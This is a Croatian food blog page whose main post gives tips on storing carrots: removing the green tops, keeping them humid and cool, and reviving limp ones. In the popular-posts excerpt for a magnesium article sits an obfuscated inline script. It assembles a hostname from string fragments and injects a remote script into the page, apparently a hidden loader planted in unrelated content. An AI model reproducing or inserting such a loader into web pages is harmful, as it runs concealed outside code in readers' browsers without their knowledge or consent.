NAJVEĆA POGREŠKA KOJU RADITE PRI ČUVANJU MRKVE 🥕




Najveća pogreška koju radite pri čuvanju mrkve 




Mrkva kupljena u trgovini ili ubrana u vrtu može trajati jako dugo, no njezino pravilno skladištenje nije tako jednostavno kao što se čini. Postoji jedna vrlo specifična pogreška zbog koje ovo narančasto povrće prerano dehidrira i postaje mlohavo.





Najveća pogreška: ostavljanje zelenih vrhova

Najvažniji korak koji mnogi zanemaruju je uklanjanje zelenila s vrha mrkve. Za razliku od krumpira ili luka koji imaju zaštitnu ljusku, mrkva je nema, što znači da brzo gubi vlagu.


Evo zašto je zeleni vrh problematičan:


  • Respiracija: Mrkva je živ organizam koji nastavlja proces disanja i nakon berbe. Mrkve s pričvršćenim zelenim vrhovima dišu znatno bržim tempom.


  • Gubitak vlage: Zeleni vrhovi nastavljaju izvlačiti vodu iz samog korijena mrkve kako bi preživjeli, što uzrokuje da mrkva vrlo brzo postane suha i savitljiva.


  • Gorčina: Stručnjaci savjetuju i da se mrkva drži podalje od jabuka. Jabuke proizvode etilen, plin koji može učiniti da mrkva postane gorka.




Savjeti za dugotrajnu svježinu


Nakon što odrežete vrhove blizu samog korijena, primijenite ove korake kako bi vaša mrkva ostala hrskava i do šest mjeseci:



Osigurajte vlažnost

Visoka vlažnost u ladici hladnjaka vaš je najbolji prijatelj. Budući da mrkva nema kožu koja bi je štitila od isušivanja, najbolje ju je čuvati u plastičnoj vrećici s nekoliko probušenih rupica za ventilaciju. Unutar vrećice, oko mrkve, stavite lagano navlažen papirnati ručnik. Ventilacija je ključna – bez nje može doći do fermentacije.



Ohladite je prije spremanja

Ako ste mrkve kupili dok je vani toplo ili ste ih upravo ubrali iz vrta, važno je ukloniti “terensku toplinu”. Kratka kupka u hladnoj vodi odmah nakon berbe ili kupnje pomoći će smanjiti dehidraciju tijekom dugotrajnog skladištenja. Nakon pranja, dobro ih osušite prije nego što ih stavite u vrećicu.




Izbjegavajte promjene temperature

Velike oscilacije u temperaturi mogu potaknuti mrkvu na klijanje. Mrkva je dvogodišnja biljka koja nakon razdoblja hladnoće i ponovnog zatopljenja misli da je stiglo proljeće i počinje puštati klice. Kako biste to spriječili, držite je na stalnom, hladnom mjestu u hladnjaku (najbolje u ladici za povrće) i nemojte je premještati dok je ne odlučite koristiti.




Što ako je mrkva već omekšala?

Ako primijetite da je vaša mrkva dehidrirala i postala gumena, postoji trik za oporavak: potopite je u mlaku vodu na 10 do 15 minuta prije korištenja kako bi ponovno povratila dio svoje čvrstoće.




Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više